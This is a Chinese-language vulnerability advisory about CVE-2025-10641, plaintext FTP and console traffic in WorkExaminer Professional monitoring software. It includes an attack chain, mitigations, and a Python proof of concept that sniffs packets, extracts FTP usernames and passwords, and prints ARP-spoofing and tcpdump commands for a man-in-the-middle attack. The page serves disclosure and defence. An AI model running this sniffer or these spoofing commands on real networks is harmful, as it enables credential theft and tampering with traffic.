IPBUF安全漏洞报告
English
CVE-2025-10641 CVSS 7.1 高危

CVE-2025-10641 WorkExaminer Professional 明文传输敏感数据漏洞

披露日期: 2025-10-21
来源: 551230f0-3615-47bd-b7cc-93e92e730bbf

漏洞信息

漏洞编号
CVE-2025-10641
漏洞类型
明文传输/信息泄露/中间人攻击
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WorkExaminer Professional

相关标签

CVE-2025-10641WorkExaminer明文传输信息泄露中间人攻击FTP未加密网络嗅探高危漏洞监控软件数据泄露

漏洞概述

CVE-2025-10641是WorkExaminer Professional监控软件中存在的一个高危安全漏洞。该漏洞源于产品在网络通信过程中未对敏感数据进行加密处理,导致监控客户端、控制台与服务器之间的所有流量均以明文形式传输。攻击者只需获得网络访问权限,即可截获并读取传输中的敏感信息,包括监控数据、用户凭证及内部通信内容。此外,攻击者还可在通信链路上自由篡改传输数据,实施中间人攻击(MITM)。具体而言,监控客户端通过未加密的FTP协议(端口12304)将监控数据上传至服务器,同时控制台客户端与服务器之间在端口12306上的通信同样未经过加密。该漏洞的CVSS评分为7.1,属于高危级别,攻击者无需用户交互,仅需具备低权限网络访问即可利用,对数据机密性造成高影响,对数据完整性造成低影响。该漏洞由SEC Consult安全研究团队发现并披露,披露时间为2025年10月21日。

技术细节

WorkExaminer Professional是一款企业员工监控软件,其架构包含监控客户端(安装在受监控终端上)、控制台(管理员界面)和服务器三个组件。正常工作时,监控客户端定期收集员工活动数据(如屏幕截图、键盘记录、应用程序使用情况等),并将这些数据发送至服务器进行存储和分析。

漏洞的核心问题在于通信协议的选择不当:
1. **FTP明文传输(端口12304)**:监控客户端使用标准的FTP协议将收集到的监控数据上传至服务器。FTP协议本身不提供任何加密机制,用户名、密码及所有传输数据均以明文形式在网络上传输。攻击者可通过网络嗅探工具(如Wireshark、tcpdump)直接捕获FTP流量,提取凭证和监控数据。
2. **控制台通信未加密(端口12306)**:管理员通过控制台客户端管理服务器时,使用的通信端口12306同样未实施加密(如TLS/SSL)。这意味着管理员的登录凭证、配置信息及管理操作指令均以明文传输。
3. **中间人攻击可行性**:由于缺乏加密和完整性校验,攻击者可以在客户端与服务器之间插入代理或ARP欺骗等手段,不仅能窃听数据,还能主动篡改传输内容(如注入伪造的监控数据或修改管理指令)。

攻击利用条件:攻击者需处于同一网络环境中(如企业内部网络、共享WiFi等),具备基本的网络访问权限即可实施攻击。

攻击链分析

STEP 1
步骤1:网络位置获取
攻击者需要获取目标网络环境的访问权限,可以通过加入企业内网、连接到共享WiFi网络、利用已入侵的网络节点或通过物理接入企业内部网络等方式实现。
STEP 2
步骤2:网络流量嗅探
攻击者使用Wireshark、tcpdump等网络嗅探工具,监听WorkExaminer Professional通信端口(12304/FTP和12306/控制台)的网络流量。由于通信未加密,所有数据以明文形式传输。
STEP 3
步骤3:敏感数据提取
从捕获的FTP流量中提取FTP USER和PASS命令,获取监控客户端的登录凭证。同时可以读取上传的监控数据内容,包括员工活动记录、屏幕截图、键盘输入等敏感信息。
STEP 4
步骤4:中间人攻击实施
通过ARP欺骗、DNS劫持等手段实施中间人攻击,插入到客户端与服务器通信链路之间。由于缺乏加密和完整性校验,攻击者可以篡改传输数据,如伪造监控记录或修改管理指令。
STEP 5
步骤5:数据持久化与利用
将窃取的凭证和数据保存用于后续攻击,如使用获取的管理员凭证登录服务器、进一步渗透企业内网,或将敏感监控数据用于商业间谍活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10641 - WorkExaminer Professional Plaintext Traffic Interception PoC # This PoC demonstrates how to capture and read plaintext FTP traffic # from WorkExaminer Professional monitoring clients on port 12304 import socket import struct import sys from datetime import datetime def capture_ftp_traffic(target_ip, port=12304, timeout=60): """ Capture plaintext FTP traffic from WorkExaminer Professional monitoring clients transmitting data to the server. """ print(f"[*] Starting plaintext traffic capture on {target_ip}:{port}") print(f"[*] Timestamp: {datetime.now()}") try: # Create raw socket to capture network traffic raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) raw_socket.settimeout(timeout) captured_data = [] while True: try: packet, addr = raw_socket.recvfrom(65535) # Parse IP header to get protocol and addresses ip_header = packet[0:20] iph = struct.unpack('!BBHHHBBH4s4s', ip_header) protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) # Only process TCP packets if protocol == 6: # Parse TCP header tcp_header = packet[20:40] tcph = struct.unpack('!HHLLBBHHH', tcp_header) src_port = tcph[0] dst_port = tcph[1] # Filter for WorkExaminer FTP port (12304) if src_port == port or dst_port == port: # Extract payload (TCP header is typically 20 bytes) header_length = (tcph[4] >> 4) * 4 payload_offset = 20 + header_length payload = packet[payload_offset:] if len(payload) > 0: print(f"[+] Captured packet: {s_addr}:{src_port} -> {d_addr}:{dst_port}") print(f"[+] Payload length: {len(payload)} bytes") # Attempt to decode as ASCII (FTP commands are ASCII) try: decoded = payload.decode('ascii', errors='replace') print(f"[+] Decoded content: {decoded[:500]}") captured_data.append({ 'src': f"{s_addr}:{src_port}", 'dst': f"{d_addr}:{dst_port}", 'data': decoded, 'timestamp': str(datetime.now()) }) except Exception as e: print(f"[-] Decode error: {e}") except socket.timeout: print("[*] Capture timeout reached") break except PermissionError: print("[!] Error: Need root/admin privileges for raw socket access") print("[*] Alternative: Use tcpdump or Wireshark to capture traffic") print(" tcpdump -i any -A 'port 12304' -w workexaminer_capture.pcap") return None except Exception as e: print(f"[!] Error: {e}") return None return captured_data def extract_credentials(packets): """ Extract FTP credentials from captured plaintext traffic. """ if not packets: return print("\n[*] Extracting credentials from captured traffic...") credentials = [] for pkt in packets: data = pkt['data'] # FTP USER command contains username if 'USER ' in data: username = data.split('USER ')[1].split('\r\n')[0] print(f"[+] Found username: {username}") credentials.append({'type': 'username', 'value': username}) # FTP PASS command contains password if 'PASS ' in data: password = data.split('PASS ')[1].split('\r\n')[0] print(f"[+] Found password: {password}") credentials.append({'type': 'password', 'value': password}) return credentials def mitm_attack_demo(client_ip, server_ip): """ Demonstrate MITM attack feasibility on WorkExaminer traffic. Note: Actual MITM requires ARP spoofing or similar techniques. """ print("\n[*] MITM Attack Demonstration") print(f"[*] Target client: {client_ip}") print(f"[*] Target server: {server_ip}") print("[*] Steps to perform MITM:") print(" 1. Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward") print(f" 2. ARP spoof: arpspoof -i eth0 -t {client_ip} {server_ip}") print(f" 3. ARP spoof: arpspoof -i eth0 -t {server_ip} {client_ip}") print(" 4. Sniff traffic: tcpdump -i eth0 -A 'port 12304 or port 12306'") print(" 5. Modify data using ettercap or mitmproxy") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_server_ip> [port]") print("Example: python3 poc.py 192.168.1.100 12304") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 12304 # Step 1: Capture traffic packets = capture_ftp_traffic(target, port) # Step 2: Extract credentials if packets: creds = extract_credentials(packets) # Step 3: Demonstrate MITM possibility if len(sys.argv) > 3: mitm_attack_demo(sys.argv[3], target) print("\n[*] PoC completed. WorkExaminer transmits all data in plaintext.") print("[*] Recommendation: Contact vendor to enable encrypted communication.")

影响范围

WorkExaminer Professional(所有未启用加密的版本)

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1)在网络层面实施网络分段,将WorkExaminer Professional的监控客户端、控制台和服务器部署在隔离的VLAN中,限制不必要的网络访问;2)使用VPN隧道加密所有WorkExaminer相关流量;3)部署入侵检测/防御系统(IDS/IPS)监控异常网络流量;4)限制物理网络访问,确保只有授权人员能接入企业网络;5)定期轮换FTP和控制台账户密码,降低凭证泄露风险;6)监控端口12304和12306的网络活动,及时发现可疑的嗅探行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表